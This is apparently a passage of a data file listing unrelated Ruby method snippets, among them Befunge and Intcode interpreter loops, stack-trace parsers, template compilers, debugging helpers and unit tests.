ans.respond_to?(\"to_i\")\n @stack.push(ans.to_i())\n break\n elsif ans.respond_to?(\"ord\")\n @stack.push(ans.ord())\n break\n end\n puts \"Invalid answer, please enter a better one\"\n end\n else\n @stack.push(b%a)\n end\n when '!'\n # Pop a value a and perform logical NOT on it. If it is 0, push 1 otherwise push 0.\n a = popstack()\n if a == 0\n @stack.push(1)\n else\n @stack.push(0)\n end\n when '`'\n # Greater than. Pop two values a and b and push 1 if b>a otherwise 0.\n a = popstack()\n b = popstack()\n\n if b > a\n @stack.push(1)\n else\n @stack.push(0)\n end\n when '>'\n # PC direction right\n @curr_direction = :right\n when '<'\n # PC direction left\n @curr_direction = :left\n when '^'\n # PC direction up\n @curr_direction = :up\n when 'v'\n # PC direction down\n @curr_direction = :down\n when '?'\n # Random PC direction\n prng = Random.new()\n num = prng.rand(4)\n\n case num\n when 0\n @curr_direction = :up\n when 1\n @curr_direction = :down\n when 2\n @curr_direction = :left\n when 3\n @curr_direction = :right\n end\n when '_'\n # Horizontal if. Pop a value. PC goes right if it is zero, left otherwise\n a = popstack()\n\n if a == 0\n @curr_direction = :right\n else\n @curr_direction = :left\n end\n when '|'\n # Vertical if. Pop a value. PC goes down if it is zero, up otherwise\n a = popstack()\n\n if a == 0\n @curr_direction = :down\n else\n @curr_direction = :up\n end\n when '\"'\n # Toggle stringmode. Push each character's ASCII value until we see the next '\"'\n @ascii_mode = !@ascii_mode\n when ':'\n # Duplicate top stack value\n a = popstack()\n @stack.push(a)\n @stack.push(a)\n when '\\\\'\n # Swap top stack values\n a = popstack()\n b = popstack()\n @stack.push(a)\n @stack.push(b)\n when '$'\n # Discard top stack value\n popstack()\n when '.'\n # Pop the top of the stack and output as integer\n a = popstack()\n\n if a.respond_to?(\"ord\")\n print a.ord\n else\n print a\n end\n when ','\n # Pop the top of the stack and output as ASCII character\n a = popstack()\n\n if a.respond_to?(\"chr\")\n print a.chr\n else\n print a\n end\n when '#'\n # Jump over the next command in the current direction of the current PC\n @skip = true\n when 'g'\n # A get call. Basically the program and data are stored together so this pops two values y and x\n # and retrieves the character at (x,y). It then pushes the ASCII value of this character\n # If (x,y) is out of bounds, push 0 as per the specification.\n y = popstack()\n x = popstack()\n\n if @source_lines.length <= y\n @stack.push(0)\n elsif @source_lines[y].length <= x\n @stack.push(0)\n else\n c = @source_lines[y][x]\n\n if c.respond_to?(\"ord\")\n @stack.push(c.ord())\n end\n end\n when 'p'\n # A put call. Retrieves co-ordinates y and x from the stack and also a value v. It then changes\n # the character at (x,y) to the character with ASCII value v\n y = popstack()\n x = popstack()\n v = popstack()\n\n if v.respond_to?(\"chr\")\n @source_lines[y][x] = v.chr()\n end\n when '&'\n # Get integer from user and push it\n puts \"Enter an integer\"\n loop do\n prompt()\n ans = STDIN.gets\n\n if ans.respond_to?(\"to_i\")\n @stack.push(ans.to_i())\n break\n end\n puts \"Not an integer. Please enter only digits\"\n end\n when '~'\n # Get a character from user and push it\n puts \"Enter a character\"\n loop do\n prompt()\n ans = STDIN.gets\n\n if ans.respond_to?(\"ord\")\n @stack.push(ans.ord())\n break\n end\n puts \"Please enter a character\"\n end\n when '@'\n # End program\n puts \"\\n\\nProgram finished. Exiting...\"\n @stop = true\n when '0'..'9'\n # Push integer onto stack\n @stack.push(@curr_char.to_i())\n end\n\n # Move the PC\n move()\n\n # For debugging. Without this the skipped character isn't show in debug which\n # can be confusing\n if @skip == true\n @curr_char = @source_lines[@line_num][@col_num]\n\n if @step == true\n debug()\n end\n\n move()\n @skip = false\n end\n end\n end", "def source_line; end", "def execute(source: nil, reg_init: nil)\n reset_emulator\n @regs.merge! reg_init if reg_init\n @program = compile(source) if source\n @program.each { |i| puts i.inspect } if @debug\n puts \"Instruction Count: #{@program.size}\" if @debug\n reason = catch :abort_execution do\n while program_counter_valid?\n instr = @program[@program_counter]\n puts \"pc=#{@program_counter}, regs=#{@regs.inspect}, instr=#{instr.inspect}\" if @debug\n send(instr[:cmd], instr[:args])\n end\n :pc_out_of_range\n end\n\n case reason\n when :finish\n 0\n when :recover\n last_freq\n when :pc_out_of_range\n puts 'Program counter was out of range'\n -1\n else\n -2\n end\n end", "def source_lines; end", "def source_lines; end", "def source_lines; end", "def source_lines; end", "def __caller_file__(caller_depth=0)\n regex = RUBY_ENGINE == 'opal' ? PutsDebuggerer::STACK_TRACE_CALL_SOURCE_FILE_REGEX_OPAL : PutsDebuggerer::STACK_TRACE_CALL_SOURCE_FILE_REGEX\n caller[caller_depth] && caller[caller_depth][regex, 1]\n end", "def process_code_state(ios, src, state)\n src.strip!\n src.gsub!(/^[ \\t]+/, '')\n case state\n when /code_(?:line_)?span/ then\n ios << \"\\n#{src}\"\n when /code_(?:line_)?print/ then\n ios << \"\\n_.((#{src}),ctx)\"\n when /code_(?:line_)?template/ then\n if src =~ /\\A(.*)(do|{)\\s*(\\|[^\\|]+\\|\\s*)?\\Z/\n ios << \"\\n(#{$~[1]}{#{$~[3]}\"\n @curly_end = $~[2] == '{'\n elsif !@curly_end && (src =~ /\\A\\s*end\\s*\\Z/)\n ios << '}).(_,ctx)'\n elsif @curly_end && (src =~ /\\A\\s*\\}\\s*\\Z/)\n ios << '}).(_,ctx)'\n else\n ios << \"\\n(#{src}).(_,ctx)\"\n end\n when /code_(?:line_)?visitor/\n m = src.match(/^([^ \\(]+)?(\\([^\\)]*\\))?\\s*(.*)$/)\n ios << \"\\n#{m[1]}_result=(#{m[3]}).(#{m[1]}_visitor#{m[2]},ctx)\"\n when :l10n then\n localize(ios, src)\n end\n end", "def dump_compiled code\n\t\t\tbuf = do_compile code,false\n\t\t\tprint buf,\"\\n\"\n\t\tend", "def code_snippet(source_file, source_line) #exception\n ##backtrace = exception.backtrace.reject{ |bt| bt =~ INTERNALS }\n ##backtrace.first =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n #caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n #source_file, source_line = $1, $2.to_i\n\n source = source(source_file)\n\n radius = @radius # number of surrounding lines to show\n region = [source_line - radius, 1].max ..\n [source_line + (radius + 2), source.length].min\n\n # ensure proper alignment by zero-padding line numbers\n #format = \" %6s %0#{region.last.to_s.length}d %s\"\n #pretty = region.map do |n|\n # format % [('=>' if n == source_line), n, source[n-1].chomp]\n #end #.unshift \"[#{region.inspect}] in #{source_file}\"\n #pretty\n\n # create an ordered hash of line => code\n region.map do |n|\n {n => source[n-1].rstrip}\n end\n end", "def caller\n %x{\n function getErrorObject(){\n try { throw Error('') } catch(err) { return err; }\n }\n\n\n var err = getErrorObject();\n }\n stack = `err.stack`\n caller_lines = stack.split(\"\\n\")[4..-1]\n caller_lines.reject! { |l| l.strip.empty? }\n\n result_formatter = lambda do |filename, line, method=nil|\n \"#{filename}:#{line} in `(#{method ? method : 'unknown method'})'\"\n end\n\n caller_lines.map do |raw_line|\n if match = /\\s*at (.*) \\((\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # catch phantom/no 2nd line/col #\n elsif match = /\\s*at (.*) \\((\\S+):(\\d+)/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (.*):(\\d+)/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # Firefox - Opal.modules[\"rspec/core/metadata\"]/</</</</def.$populate@http://192.168.59.103:9292/assets/rspec/core/metadata.self.js?body=1:102:13\n elsif match = /(.*?)@(\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n # webkit - http://192.168.59.103:9292/assets/opal/rspec/sprockets_runner.js:45117:314\n elsif match = /(\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n else\n \"#{filename}:-1 in `(can't parse this stack trace)`\"\n end\n end\n end", "def test_stack_094\n @vc.parse \": test 1 0 throw ;\"\n @vc.compile\n @vc.run\n\n assert_equal(:halt, @vc.vm.state)\n assert_equal(1, @vc.vm.depth)\n assert_equal(1, @vc.vm.tos)\n end", "def process_source(source)\n return source if source.is_a?(String) && source =~ /\\n/\n\n source, _ = engine.fetch_source(source, { :view_path => options[:view_path] })\n source\n end", "def inspect_source(*args)\n super(*args, 'foo_spec.rb')\n end", "def source() end", "def execute_code source\n source.execute(@scope)\n rescue Exception => e\n message, name = @exception_service.get_exception_message(e)\n puts \"#{name}: #{message}\"\n end", "def dump_caller_stack\n return unless $ITEST2_TRACE_EXECUTION\n begin\n caller.each_with_index do |position, idx|\n next unless position =~ /\\A(.*?):(\\d+)/\n file = $1\n # TODO: send multiple trace to be parse with pages.rb\n # next if file =~ /example\\/example_methods\\.rb$/ or file =~ /example\\/example_group_methods\\.rb$/ or file =~ /driver\\.rb$/ or file =~ /timeout\\.rb$/ # don't include rspec or ruby trace\n\n if file.include?(\"_spec.rb\") || file.include?(\"_test.rb\") || file.include?(\"_cmd.rb\")\n connect_to_itest(\" TRACE\", position)\n end\n\n break if idx > 4 or file =~ /\"_spec\\.rb$/\n end\n rescue => e\n puts \"failed to capture log: #{e}\"\n end\n end", "def full_source=(_arg0); end", "def precompiled(locals)\n source, offset = super\n [source, offset + 1]\n end", "def __caller_source_line__(caller_depth=0, source_line_count=nil, source_file=nil, source_line_number=nil)\n source_line_number ||= __caller_line_number__(caller_depth+1)\n source_file ||= __caller_file__(caller_depth+1)\n source_line = ''\n if defined?(Pry) && source_file.include?('(pry)')\n @pry_instance ||= Pry.new\n source_line = Pry::Command::Hist.new(pry_instance: @pry_instance).call.instance_variable_get(:@buffer).split(\"\\n\")[source_line_number - 1] # TODO handle multi-lines in source_line_count\n elsif defined?(IRB) && TOPLEVEL_BINDING.receiver.respond_to?(:conf)\n source_line = TOPLEVEL_BINDING.receiver.conf.io.line(source_line_number) # TODO handle multi-lines in source_line_count\n else\n source_line = PutsDebuggerer::SourceFile.new(source_file).source(source_line_count, source_line_number)\n end\n source_line\n end", "def test_code_3\n string = \"Line 14: 31 elements in stack after evaluation\\n\"\n assert_output(string) { Errorcode.error(3, 14, 31) }\n end", "def compile_program filename, sexp\n @filename = filename\n if sexp.nil?\n position = [] # because the debugger special-cases this possibility\n elsif sexp[0] == :block\n position = [] # because position will be printed anyway\n elsif sexp.source\n position = [[:position, @filename] + sexp.source]\n elsif sexp[0] == :masgn\n position = [[:position, @filename] + sexp[1][1].source]\n else\n no 'top s-exp with nil source'\n end\n\n position + compile(sexp)\n end", "def match?(ast)\n source_line == ast.line\n end", "def run_code(code)\n @output.puts # spacer\n begin\n @output.puts \" BEGIN DEBUG \".center(WIDTH, '=')\n eval(code.join(\"\\n\")) # Need to join, since +code+ is an Array.\n @output.puts \" END DEBUG \".center(WIDTH, '=')\n rescue Exception => error\n @output.puts \" DEBUG FAILED \".center(WIDTH, '=')\n @output.puts error\n end\n @output.puts # spacer\n end", "def foorth_utf8_output(source, expected)\r\n self.assertions += 1\r\n vm = Thread.current[:vm]\r\n\r\n actual = capture_foorth_io do\r\n vm.process_string(source)\r\n end\r\n\r\n if expected != actual\r\n msg = \"Expected: #{expected.inspect}\\n Actual: #{actual.inspect}\"\r\n raise MiniTest::Assertion, msg, caller\r\n end\r\n\r\n ensure\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def trace(s_x, s_y, e_x, e_y)\r\n\t\tstart = Place.new( s_x, s_y, nil)\r\n\t\tend_p = Place.new(e_x, e_y, nil)\r\n\t\tif check_place(start)&&check_place(end_p)\r\n\t\t\tt = MazeSolver.new(@n, @m, @maze, start, end_p).trace\r\n\t\t\tdisplay(t)\r\n\t\telse puts \"invalid start or end\" end\r\n\tend", "def get_arguments_code\n\n # Stack trace certainly will be useful.\n stack_trace = caller\n\n # First of all, calling method name will be needed. It's simply parsed\n # from stack trace using regexp.\n method = stack_trace[0].match(/:in `(.*)'/)[1]\n\n # Going deeper, file path and line, where previous method was called are\n # parsed.\n t = stack_trace[1].match(/([^:]+):(\\d+):/)\n path = t[1]\n line_number = t[2].to_i\n\n # Read the file\n lines = []\n\n begin\n File.open(path, \"r\") do |io|\n lines = io.readlines\n end\n rescue Errno::ENOENT => e\n # May this file not exist at all? I don't know, but it will be foolish\n # to assume, that if I don't know, it cannot happen.\n return nil\n rescue IOError\n # This can happen always for several reasons\n return nil\n end\n\n # Now some folklore. It happens that the most widely used Ruby\n # implementation has bug in implementation of Kernel#caller. If method\n # invocation takes more than one line, instead of line where the name\n # of method was, we get one of the following lines (I suspect that it's\n # always the one with first argument, but dont know exactly).\n #\n # As workaround we go up the file until we find line containing method\n # name.\n #\n # Another digression: what if one of the lines contain method name which\n # is not its invocation, eg. inside string or comment? Well, then all\n # this will fail, and you get \"false != true\". It is a limitation, but\n # I can live with that.\n i = line_number - 1\n\n while i > 0 && lines[i].index(method).nil?\n i -= 1\n end\n\n # Code to search is crated as invocation line and all following code.\n # First line is trimmed to begin with method name.\n #\n # After that part of code from begin is moved to anther variable and\n # removed from code itself. This part will be called _fragment_.\n #\n # Initial fragment contains method name and opening bracket, eg:\n #\n # | fragment | code |\n # assert_equal(arg1, arg2)\\n# Some comment in next line\n code = lines[i..-1].join\n start = code.index(method)\n fragment = code[start, method.length + 1]\n code = code[(start + method.length + 1)..-1]\n\n sexp = nil\n\n # Now in loop we check if fragment contains valid (parsable) Ruby code.\n # Syntax error in code cause exception to be thrown. In that case, we just\n # add another char from code to fragment and check again, until success\n # or and of code.\n code.each_char do |ch|\n begin\n parser = RubyParser.new\n sexp = parser.process(fragment)\n break\n rescue Exception => e\n fragment += ch\n end\n end\n\n # Code ended, but invocation cannot be parsed. Again: can this actually\n # happen?\n return nil if sexp.nil?\n\n # Parsed code results in structure called s-expression (sexps). It has\n # a tree-like structure that describes Ruby code and thus can be turned\n # into code again (+ all the whitespace will be removed).\n ruby2ruby = Ruby2Ruby.new\n result = []\n\n sexp[3].each_with_index do |arg, i|\n next if i == 0\n result << ruby2ruby.process(arg)\n end\n\n # Here we can return array of source code strings\n return result\n end", "def source_line(lineno); end", "def step\n instcode = @memory[@ip]\n raise \"nil opcode encountered\" if instcode.nil?\n\n opcode = instcode % 100\n argcount = ARGCOUNT[opcode] || 0\n addressing_modes = argcount.times.map { |ix| (instcode / (10 ** (ix + 2))) % 10 }\n args = addressing_modes.each_with_index.map do |am, ix|\n raw_arg = @memory[@ip + ix + 1]\n translate_arg(opcode, ix, raw_arg, am)\n end\n\n if TRACE\n STDERR.puts \"#{@id} @ip=#{@ip} @base=#{@base} inst=#{@memory[@ip..@ip+argcount].inspect} opcode=#{opcode} am=#{addressing_modes.inspect} args=#{args.inspect}\"\n end\n\n jump_target = nil\n case opcode\n when 1 # add\n @memory[args[2]] = args[0] + args[1]\n when 2 # mul\n @memory[args[2]] = args[0] * args[1]\n when 3 # in\n if @inputs.any?\n @memory[args[0]] = @inputs.shift\n else\n return :need_input\n end\n when 4 # out\n @outputs << args[0]\n when 5 # jnz\n jump_target = args[1] if args[0] != 0\n when 6 # jz\n jump_target = args[1] if args[0] == 0\n when 7 # lt\n @memory[args[2]] = (args[0] < args[1]) ? 1 : 0\n when 8 # eq\n @memory[args[2]] = (args[0] == args[1]) ? 1 : 0\n when 9 #base\n @base += args[0]\n when 99\n return nil\n else\n raise \"invalid opcode #{opcode} at position #{@ip}\"\n end\n\n if jump_target\n @ip = jump_target\n else\n @ip += argcount + 1\n end\n end", "def check_source(code)\n check_parse_tree(Checker.parse_tree_for(code))\n end", "def source\n @source ||= begin\n file, line_no = source_location\n raise \"no file provided by source_location: #{self}\" if file.nil?\n raise \"no line number provided for source_location: #{self}\" if line_no.nil?\n tokens = Ripper.lex File.read(file)\n tokens_on_line = tokens.select {|pos, lbl, str| pos[0].eql?(line_no) }\n starting_token = tokens_on_line.detect do |pos, lbl, str|\n TOKEN_PAIRS.keys.include?([lbl, str]) &&\n _actually_starting_a_proc?(tokens, [pos, lbl, str])\n end\n starting_token_type = [starting_token[1], starting_token[2]]\n ending_token_type = TOKEN_PAIRS[starting_token_type]\n source_str = \"\"\n remaining_tokens = tokens[tokens.index(starting_token)..-1]\n nesting = -1\n starting_nesting_token_types = if [TLAMBDA, LBRACE].include?(starting_token_type)\n [TLAMBDA, LBRACE]\n else\n [starting_token_type]\n end\n\n while token = remaining_tokens.shift\n token = [token[1], token[2]] # strip position\n source_str << token[1]\n nesting += 1 if starting_nesting_token_types.include? token\n is_ending_token = token.eql?(ending_token_type)\n break if is_ending_token && nesting.eql?(0)\n nesting -= 1 if is_ending_token\n end\n source_str\n end\n end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def processed_source; end", "def view\n puts \"bottom\"\n puts \"=====\"\n\n @stack.each do | i |\n puts i\n end\n\n puts \"=====\"\n puts \"top\"\n end", "def misty ci, &blk\n print 'stack: '; p ci.ctx.stack\n puts 'vars: '; p ci.ctx.vars\n print 'next instruction: '; p ci.peek\n gets\n ci.step\nend", "def __yield\n return if @_undies_source_stack.nil? || (source = @_undies_source_stack.pop).nil?\n if source.file?\n instance_eval(source.data, source.source, 1)\n else\n instance_eval(&source.data)\n end\n end", "def visit_trace(code, ins, local_vars, ln, info)\r\n end", "def check(source)\n compiler = VishCompiler.new source\n begin\n compiler.parse\n compiler.transform\n compiler.analyze\n puts 'Syntax OK'\n 0\nrescue Parslet::ParseFailed => failure\n $stderr.puts \"Syntax Error: #{failure.message}\"\n $stderr.puts failure.parse_failure_cause.ascii_tree\n 1\n rescue CompileError => err\n $stderr.puts \"Compile error: #{err.message}\"\n 2\n end\nend", "def __yield\n return if (source = @_undies_source_stack.pop).nil?\n if source.file?\n instance_eval(source.data, source.source, 1)\n else\n instance_eval(&source.data)\n end\n end", "def code_snippet(source_file, source_line) #exception\n ##backtrace = exception.backtrace.reject{ |bt| bt =~ INTERNALS }\n ##backtrace.first =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n #caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n #source_file, source_line = $1, $2.to_i\n\n source = source(source_file)\n\n radius = 3 # number of surrounding lines to show\n region = [source_line - radius, 1].max ..\n [source_line + radius, source.length].min\n\n # ensure proper alignment by zero-padding line numbers\n format = \" %2s %0#{region.last.to_s.length}d %s\"\n\n pretty = region.map do |n|\n format % [('=>' if n == source_line), n, source[n-1].chomp]\n end #.unshift \"[#{region.inspect}] in #{source_file}\"\n\n pretty\n end", "def scan\n # Ruby's 'extend' is a different from Python's\n $stack += $stack.pop.split\nend", "def stack; end", "def stack; end", "def test_one_validity\n @eval.load_stacks([5])\n assert_equal 'valid', @eval.check_final_validity\n end", "def is_code?(line,labelhash)\n if @to_code && line !~ /^#include \"(page|align|pass).i65\".*/ # filter chaffy includes\n if @code.nil?\n # first line is special, the label\n @label = line\nputs @label if @label == \"STUDIO\"\n @addr = labelhash[@label]\n # start with a code quote and a slider button\n @code =\n \"\\n\\n\\n<$button popup=\\\"$:/state/codeSlider\\\">code</$button>\"\\\n \"<$reveal type=\\\"nomatch\\\" text=\\\"\\\" default=\\\"\\\" \"\\\n \"state=\\\"$:/state/codeSlider\\\" animate=\\\"yes\\\">\\n\\n```\"\n end\n # append code line, filter chaff\n @code += \"\\n\"+line\n end\n # turn on code trigger after checking, to avoid capturing the `#endif`\n if (line =~ /^\\#endif$/) # non-`#if 0` should have a comment after #endif in source\n @to_code = true\n end\n end", "def StartStack\n\n end", "def test_get_local\n assert_equal [\n PUSH_NUMBER, 0, # 1 stack = [1]\n SET_LOCAL, 0, # a stack = []\n GET_LOCAL, 0, # a stack = [1]\n RETURN\n ], @compiler.compile(\"a=1; a\")[:instructions]\n end", "def assert_code code , op , should\n assert_equal op , code.opcode\n io = StringIO.new\n code.assemble(io)\n binary = io.string\n assert_equal should.length , binary.length , \"code length wrong for #{code.inspect}\"\n index = 0\n binary.each_byte do |byte |\n assert_equal should[index] , byte , \"byte #{index} 0x#{should[index].to_s(16)} != 0x#{byte.to_s(16)}\"\n index += 1\n end\n end", "def pdebug(string, opcode)\n printf(\"pc: %4x\\t#{string}\\t\\topcode: %4x\\n\",@pc, opcode) \n printf(\"####### @ir = 0x0%4x #########\\n\", @ir)\nend", "def evaluate call_stack_bindings\n case action\n when :CAPTURE\n evaluate_snapshot_point call_stack_bindings\n when :LOG\n evaluate_logpoint call_stack_bindings[0]\n end\n end", "def test_print_out_found_long\n ruby_rush=RubyRush.new(1, 2, 3)\n ruby_rush.real_sp='ruby'\n ruby_rush.fake_sp='ruby'\n ruby_rush.cur_real_rb=1\n ruby_rush.cur_fake_rb=1\n assert_output(\"\\tFound #{ruby_rush.cur_real_rb} #{ruby_rush.real_sp} and #{ruby_rush.cur_fake_rb} fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_long}\n ruby_rush.real_sp='rubies'\n ruby_rush.fake_sp='ruby'\n ruby_rush.cur_real_rb=2\n ruby_rush.cur_fake_rb=1\n assert_output(\"\\tFound #{ruby_rush.cur_real_rb} #{ruby_rush.real_sp} and #{ruby_rush.cur_fake_rb} fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_long}\n ruby_rush.real_sp='rubies'\n ruby_rush.fake_sp='rubies'\n ruby_rush.cur_real_rb=2\n ruby_rush.cur_fake_rb=1\n assert_output(\"\\tFound #{ruby_rush.cur_real_rb} #{ruby_rush.real_sp} and #{ruby_rush.cur_fake_rb} fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_long}\n ruby_rush.real_sp='ruby'\n ruby_rush.fake_sp='rubies'\n ruby_rush.cur_real_rb=1\n ruby_rush.cur_fake_rb=2\n assert_output(\"\\tFound #{ruby_rush.cur_real_rb} #{ruby_rush.real_sp} and #{ruby_rush.cur_fake_rb} fake #{ruby_rush.fake_sp} in #{ruby_rush.city}.\\n\") {ruby_rush.print_out_found_long}\n end", "def pre_process(expectations, source)\n\t\tsource\n\tend", "def source=(statement); end", "def method_stack_effect\n read = @opcode.static_read_effect\n write = @opcode.static_write_effect\n\n if @opcode.extra\n if read > 0\n read = \"arg#{@opcode.extra+1}+#{read}\"\n else\n read = \"arg#{@opcode.extra+1}\"\n end\n end\n\n if @opcode.produced_extra\n if write > 0\n write = \"(arg#{@opcode.produced_extra+1} * #{@opcode.produced_times})+#{write}\"\n else\n write = \"(arg#{@opcode.produced_extra+1} * #{@opcode.produced_times})\"\n end\n end\n\n @file.puts \" @current_block.add_stack(#{read}, #{write})\"\n end", "def do_run\n return unless @output\n\n @output_buffer = []\n @output.value = ''\n @editor.focus\n source = @editor.value.strip\n return unless source\n\n # Add additional code if available\n if @loaded && @current_item && @current_item.load_code\n source = \"#{@current_item.load_code}\\n#{source}\"\n end\n\n # Compile\n begin\n code = Opal.compile(source)\n rescue Exception => err\n log_error err\n end\n\n # Run\n eval_code code\n end", "def debug()\n # =========================================\n # DEBUG CODE FOR STEPPING\n # =========================================\n puts \"Curr char is: #{@curr_char}\"\n puts \"PC direction is: #{@curr_direction}\"\n puts \"Stack contents are: #{@stack}\"\n puts \"Skip is: #{@skip}\"\n puts \"Ascii_Mode is: #{@ascii_mode}\"\n prompt()\n STDIN.gets\n\n # =========================================\n # END DEBUG CODE\n # =========================================\n\n end", "def step\n instcode = @memory[@ip]\n raise \"nil opcode encountered\" if instcode.nil?\n\n opcode = instcode % 100\n arg0imm = (instcode / 100) % 10 == 1\n arg1imm = (instcode / 1000) % 10 == 1\n\n argcount = ARGCOUNT[opcode] || 0\n args = @memory[@ip + 1..@ip + argcount]\n arg0 = (arg0imm ? args[0] : @memory[args[0]]) if argcount >= 1\n arg1 = (arg1imm ? args[1] : @memory[args[1]]) if argcount >= 2\n\n jump_target = nil\n case opcode\n when 1 # add\n @memory[args[2]] = arg0 + arg1\n when 2 # mul\n @memory[args[2]] = arg0 * arg1\n when 3 # in\n raise \"input past end\" unless @inputs.any?\n @memory[args[0]] = @inputs.shift\n when 4 # out\n @outputs << arg0\n when 5 # jnz\n jump_target = arg1 if arg0 != 0\n when 6 # jz\n jump_target = arg1 if arg0 == 0\n when 7 # lt\n @memory[args[2]] = (arg0 < arg1) ? 1 : 0\n when 8 # eq\n @memory[args[2]] = (arg0 == arg1) ? 1 : 0\n when 99\n return nil\n else\n raise \"invalid opcode #{opcode} at position #{@ip}\"\n end\n\n if jump_target\n @ip = jump_target\n else\n @ip += argcount + 1\n end\n end", "def you_rang?\n # How many bindings are on the callstack?\n p caller.size # => 1\n\n # Where did we call it from?\n p caller # => [\"practice.rb:823:in `<main>'\"]\nend", "def instrument_for_debug harp_contents\n if ! @is_debug\n return harp_contents\n end\n new_harp, line_count, in_here_doc = \"\", 0, false\n harp_contents.each_line do |line|\n line_count += 1\n if not in_here_doc\n new_harp << \"line_mark(#{line_count})\\n#{line}\"\n in_here_doc = line[/.*\\w+\\s*=\\s*<<-*([\\w]+)/, 1]\n else\n new_harp << line\n if line[/^#{in_here_doc}/]\n in_here_doc = false\n end\n end\n end\n new_harp\n end", "def StartStack\n #puts \"StartStack not defined!\"\n #exit 1\n end", "def inspect\n a = []\n reverse_each { |i|\n a.push \">\" unless /\\A[<>]/ =~ i\n a.push i.inspect\n }\n last = []\n if @last then\n last.push \">\" unless /\\A[<>]/ =~ @last\n last.push @last.inspect\n end\n a.push '#eof' if @eof\n \"((#{a*' '}) l(#{last*' '}) . #{source.inspect})\"\n end", "def check_source!\n raise \"#{@source_path} is not readable\" unless @source_path.readable?\n output = %x[ruby -c #{@source_path} 2>&1]\n raise \"#{@source_path} is not valid ruby:\\n#{output}\" unless $?.success?\n true\n end", "def test_error_normal\n stack = TokenStack.new\n expected = 'Line 0: Testing'\n terp = Interpreter.new(false, true)\n error = terp.error(0, stack, 0, 'Testing')\n\n assert_equal expected, error\n end", "def segment(source_code) # rubocop:disable all\n sections, docs, code = [], [], []\n lines = source_code.split(\"\\n\")\n\n # The first line is ignored if it is a shebang line. We also ignore the\n # PEP 263 encoding information in python sourcefiles, and the similar ruby\n # 1.9 syntax.\n lines.shift if lines[0] =~ /^\\#\\!/\n lines.shift if lines[0] =~ /coding[:=]\\s*[-\\w.]+/ &&\n %w(python rb).include?(@options[:language])\n\n # To detect both block comments and single-line comments, we'll set\n # up a tiny state machine, and loop through each line of the file.\n # This requires an `in_comment_block` boolean, and a few regular\n # expressions for line tests. We'll do the same for fake heredoc parsing.\n in_comment_block = false\n in_heredoc = false\n single_line_comment, block_comment_start, block_comment_mid, block_comment_end =\n nil, nil, nil, nil\n unless @options[:comment_chars][:single].nil?\n single_line_comment = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:single])}\\\\s?\")\n end\n unless @options[:comment_chars][:multi].nil?\n block_comment_start = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:start])}\\\\s*$\")\n block_comment_end = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:end])}\\\\s*$\")\n block_comment_one_liner = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:start])}\\\\s*(.*?)\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:end])}\\\\s*$\") # rubocop:disable Metrics/LineLength\n block_comment_start_with = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:start])}\\\\s*(.*?)$\")\n block_comment_end_with = Regexp.new(\"\\\\s*(.*?)\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:end])}\\\\s*$\")\n if @options[:comment_chars][:multi][:middle]\n block_comment_mid = Regexp.new(\"^\\\\s*#{Regexp.escape(@options[:comment_chars][:multi][:middle])}\\\\s?\")\n end\n end\n unless @options[:comment_chars][:heredoc].nil?\n heredoc_start = Regexp.new(\"#{Regexp.escape(@options[:comment_chars][:heredoc])}(\\\\S+)$\")\n end\n lines.each do |line|\n # If we're currently in a comment block, check whether the line matches\n # the _end_ of a comment block or the _end_ of a comment block with a\n # comment.\n if in_comment_block\n if block_comment_end && line.match(block_comment_end)\n in_comment_block = false\n elsif block_comment_end_with && line.match(block_comment_end_with)\n in_comment_block = false\n docs << line.match(block_comment_end_with).captures.first\n .sub(block_comment_mid || '', '')\n else\n docs << line.sub(block_comment_mid || '', '')\n end\n # If we're currently in a heredoc, we're looking for the end of the\n # heredoc, and everything it contains is code.\n elsif in_heredoc\n if line.match(Regexp.new(\"^#{Regexp.escape(in_heredoc)}$\"))\n in_heredoc = false\n end\n code << line\n # Otherwise, check whether the line starts a heredoc. If so, note the end\n # pattern, and the line is code. Otherwise check whether the line matches\n # the beginning of a block, or a single-line comment all on it's lonesome.\n # In either case, if there's code, start a new section.\n else\n if heredoc_start && line.match(heredoc_start)\n in_heredoc = Regexp.last_match[1]\n code << line\n elsif block_comment_one_liner && line.match(block_comment_one_liner)\n if code.any?\n sections << [docs, code]\n docs, code = [], []\n end\n docs << line.match(block_comment_one_liner).captures.first\n elsif block_comment_start && line.match(block_comment_start)\n in_comment_block = true\n if code.any?\n sections << [docs, code]\n docs, code = [], []\n end\n elsif block_comment_start_with && line.match(block_comment_start_with)\n in_comment_block = true\n if code.any?\n sections << [docs, code]\n docs, code = [], []\n end\n docs << line.match(block_comment_start_with).captures.first\n elsif single_line_comment && line.match(single_line_comment)\n if code.any?\n sections << [docs, code]\n docs, code = [], []\n end\n docs << line.sub(single_line_comment || '', '')\n else\n code << line\n end\n end\n end\n sections << [docs, code] if docs.any? || code.any?\n normalize_leading_spaces(sections)\n end", 